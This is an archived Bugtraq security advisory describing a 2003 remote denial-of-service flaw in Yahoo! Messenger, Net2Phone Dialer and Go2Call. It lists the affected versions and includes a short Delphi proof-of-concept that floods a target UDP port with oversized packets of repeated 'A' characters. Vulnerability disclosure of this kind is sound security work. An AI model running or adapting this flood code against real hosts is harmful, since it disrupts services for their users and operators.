Multiple Vendor PC2Phone Software Remote Denial of Service Vulnerability

Bugtraq ID:	8523
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Sep 01 2003 12:00AM
Updated:	Sep 01 2003 12:00AM
Credit:	This vulnerability was reported by Dima <[email protected]>.
Vulnerable:	Yahoo! Messenger 5.5 Yahoo! Messenger 5.0 .1232 Yahoo! Messenger 5.0 .1065 Yahoo! Messenger 5.0 .1046 Yahoo! Messenger 5.0 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home Yahoo! Messenger 4.0 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home Net2Phone Net2Phone Dialer Go2Call Cash Calling
Not Vulnerable:

Multiple Vendor PC2Phone Software Remote Denial of Service Vulnerability

A small Delphi snippet has been provided to demonstrate the exploitation of this issue.

procedure TForm1.Button1Click(Sender: TObject);
var C:string;
N:integer;
MyStream:TMemoryStream;
begin
Memo1.Lines.Add('start');
C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
N:=strtoint(Edit4.Text);
NMUDP1.RemoteHost:=Edit1.Text;
NMUDP1.RemotePort:=strtoint(Edit2.Text);
MyStream:=TMemoryStream.Create;
try
MyStream.Write(C[1],Length(C));
for n:=1 to N do
begin
NMUDP1.SendStream(MyStream);
end;
finally
MyStream.Free;
end;
Memo1.Lines.Add('finish');
end;

Multiple Vendor PC2Phone Software Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Multiple Vendor PC2Phone Software Remote Denial of Service Vulnerability

References:

• Go2Call Homepage (Go2Call)
  
• Net2Phone Dialer Product Page (Net2Phone)
  
• Yahoo! Messenger Homepage (Yahoo!)
  
• Go2Call Cash Calling vulnerable (Dima )